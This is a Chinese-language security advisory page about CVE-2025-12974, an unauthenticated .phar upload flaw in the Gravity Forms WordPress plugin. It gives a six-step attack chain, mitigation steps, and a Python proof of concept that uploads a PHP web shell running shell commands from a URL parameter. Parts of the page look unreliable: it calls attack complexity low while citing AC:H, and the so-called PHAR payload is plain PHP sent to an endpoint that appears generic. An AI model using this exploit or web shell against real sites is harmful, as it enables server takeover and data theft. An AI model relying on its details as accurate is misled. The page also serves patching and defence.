IPBUF安全漏洞报告
English
CVE-2025-12974 CVSS 8.1 高危

CVE-2025-12974: WordPress Gravity Forms插件任意文件上传漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-12974
漏洞类型
任意文件上传/远程代码执行
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gravity Forms WordPress插件

相关标签

任意文件上传远程代码执行WordPress插件Gravity FormsPHAR文件无认证利用高危漏洞CVE-2025-12974

漏洞概述

CVE-2025-12974是WordPress中极为流行的Gravity Forms插件的一个高危安全漏洞。该漏洞存在于插件的遗留分块上传机制中,由于缺少适当的文件类型验证,攻击者可以上传可执行的.phar文件到服务器。漏洞的根本原因在于插件的扩展名黑名单机制未能将.phar文件纳入禁止上传的列表,而.phar文件在某些服务器配置下可以被PHP解析执行,从而导致远程代码执行(RCE)。由于该漏洞利用无需认证,且攻击复杂度较低(AV:N/AC:H),对互联网上的WordPress网站构成严重威胁。攻击者需要能够发现或枚举上传路径才能完成利用,但如果Web服务器配置为通过文件处理器映射等方式将.phar文件作为PHP处理,攻击者即可在服务器上执行任意代码,完全控制受影响的系统。

技术细节

该漏洞的核心问题在于Gravity Forms插件的分块上传功能(legacy chunked upload mechanism)中的文件验证机制不完善。在文件上传处理流程中,插件虽然维护了一个禁止上传的扩展名黑名单,但该黑名单并未包含.phar文件格式。攻击者可以利用分块上传机制绕过常规的文件上传检查,将.php或.phar等可执行文件上传至服务器。具体来说,问题出现在includes/upload.php文件的第97行附近,代码在处理分块上传时未能正确验证文件扩展名。攻击者构造恶意请求,将包含恶意代码的.phar文件作为上传内容,服务器在接收并存储该文件后,如果Web服务器配置将.phar文件通过PHP文件处理器处理(如AddType application/x-httpd-php .phar或类似配置),则访问该.phar文件将触发PHP代码执行,从而在服务器端执行任意命令。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描目标WordPress网站,确认安装了存在漏洞的Gravity Forms插件(版本<=2.9.21.1),并探测分块上传接口是否可用
STEP 2
步骤2: 构造恶意文件
攻击者构造包含恶意PHP代码的.phar文件,该文件在服务器将.phar文件映射为PHP处理时会被解析执行
STEP 3
步骤3: 分块上传绕过
通过Gravity Forms的分块上传机制(chunked upload endpoint)发送恶意.phar文件,绕过文件类型验证和扩展名黑名单检查
STEP 4
步骤4: 文件存储
恶意文件被上传到服务器的wp-content/uploads目录下,攻击者需要发现或枚举该文件的实际存储路径
STEP 5
步骤5: 触发执行
当Web服务器配置将.phar文件通过PHP处理器处理时,攻击者通过HTTP请求访问该.phar文件即可触发PHP代码执行
STEP 6
步骤6: 远程代码执行
攻击者成功在服务器上执行任意命令,可进一步进行权限提升、数据窃取或建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12974 PoC - Gravity Forms Arbitrary File Upload # Target: WordPress site with vulnerable Gravity Forms plugin (<=2.9.21.1) def upload_phar(target_url, upload_path=None): """ Upload malicious .phar file via Gravity Forms chunked upload mechanism Args: target_url: Base URL of the WordPress site upload_path: Discovered or enumerated upload path (optional) Note: Requires server configuration where .phar files are processed as PHP """ # Malicious .phar file content with PHP payload # This creates a PHAR archive that executes arbitrary PHP code malicious_phar = b''' <?php // CVE-2025-12974 - Malicious PHAR payload // This will be executed when the .phar file is accessed if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?> ''' # Chunked upload endpoint (legacy mechanism) endpoint = f"{target_url}/wp-json/gf/v2/chunked_upload" headers = { "Content-Type": "application/octet-stream", "X-GF-Chunk-Index": "0", "X-GF-Chunk-Total": "1", "X-GF-Chunk-Hash": "malicious_phar_hash", "X-GF-Filename": "evil.phar" } try: response = requests.post(endpoint, data=malicious_phar, headers=headers, timeout=30) if response.status_code == 200: result = response.json() uploaded_path = result.get("temp_filename", "") print(f"[+] Successfully uploaded malicious .phar file") print(f"[+] Access the file at: {target_url}/wp-content/uploads/{uploaded_path}") print(f"[+] Execute commands: {target_url}/wp-content/uploads/{uploaded_path}?cmd=whoami") return True else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12974.py <target_url>") print("Example: python cve-2025-12974.py https://example.com") sys.exit(1) target = sys.argv[1].rstrip("/") upload_phar(target)

影响范围

Gravity Forms WordPress插件 <= 2.9.21.1

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 在Web服务器配置中移除.phar文件的PHP处理映射(如删除AddType application/x-httpd-php .phar配置);2) 在.htaccess文件中添加规则禁止上传目录中的.php、.phar、.phtml等文件执行;3) 使用Web应用防火墙阻止可疑的分块上传请求;4) 临时禁用Gravity Forms的文件上传功能;5) 实施严格的访问控制,限制对上传目录的访问。需要注意的是,这些措施仅为临时缓解,不能完全替代升级到安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表